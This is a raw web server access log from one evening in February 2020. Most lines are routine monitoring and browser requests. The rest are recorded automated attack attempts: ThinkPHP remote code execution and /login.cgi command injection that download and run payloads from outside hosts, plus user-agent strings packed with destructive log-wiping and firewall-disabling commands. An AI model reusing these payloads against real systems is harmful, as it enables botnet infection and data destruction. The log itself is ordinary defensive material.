190.28.111.56 - - [17/Feb/2020:18:20:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
193.106.29.210 - - [17/Feb/2020:18:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
193.106.29.210 - - [17/Feb/2020:18:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
95.8.15.225 - - [17/Feb/2020:18:21:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.110.89.145 - - [17/Feb/2020:18:21:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [17/Feb/2020:18:26:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:18:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.44.26 - - [17/Feb/2020:18:27:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:18:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.54.31.250 - - [17/Feb/2020:18:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:18:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.46.111.25 - - [17/Feb/2020:18:31:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:18:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [17/Feb/2020:18:35:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:18:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [17/Feb/2020:18:45:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
195.24.215.70 - - [17/Feb/2020:18:46:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:18:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.166.62 - - [17/Feb/2020:18:46:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:18:51:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.12.241.76 - - [17/Feb/2020:18:55:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.111.141.205 - - [17/Feb/2020:18:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:18:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:18:56:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:18:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.84.222.78 - - [17/Feb/2020:18:58:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:18:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:18:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.231.236.250 - - [17/Feb/2020:19:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:19:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.229.163.103 - - [17/Feb/2020:19:03:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:19:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.1.160.138 - - [17/Feb/2020:19:05:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:19:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.247.17.220 - - [17/Feb/2020:19:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:19:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.212.130 - - [17/Feb/2020:19:12:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [17/Feb/2020:19:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:19:14:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:19:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.73.150.152 - - [17/Feb/2020:19:16:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.144.31.245 - - [17/Feb/2020:19:16:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:19:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [17/Feb/2020:19:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:19:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.164.103.122 - - [17/Feb/2020:19:18:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:19:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [17/Feb/2020:19:22:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:19:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.3.53 - - [17/Feb/2020:19:28:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:19:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [17/Feb/2020:19:32:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:19:32:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:19:33:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:19:33:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:19:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [17/Feb/2020:19:33:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:19:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.254.91.98 - - [17/Feb/2020:19:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:19:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.240.59.67 - - [17/Feb/2020:19:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:19:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.31.163.237 - - [17/Feb/2020:19:39:49 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [17/Feb/2020:19:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:19:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.236.167 - - [17/Feb/2020:19:43:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.236.167 - - [17/Feb/2020:19:43:14 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.236.167 - - [17/Feb/2020:19:43:17 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.236.167 - - [17/Feb/2020:19:43:27 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [17/Feb/2020:19:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.236.167 - - [17/Feb/2020:19:43:35 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
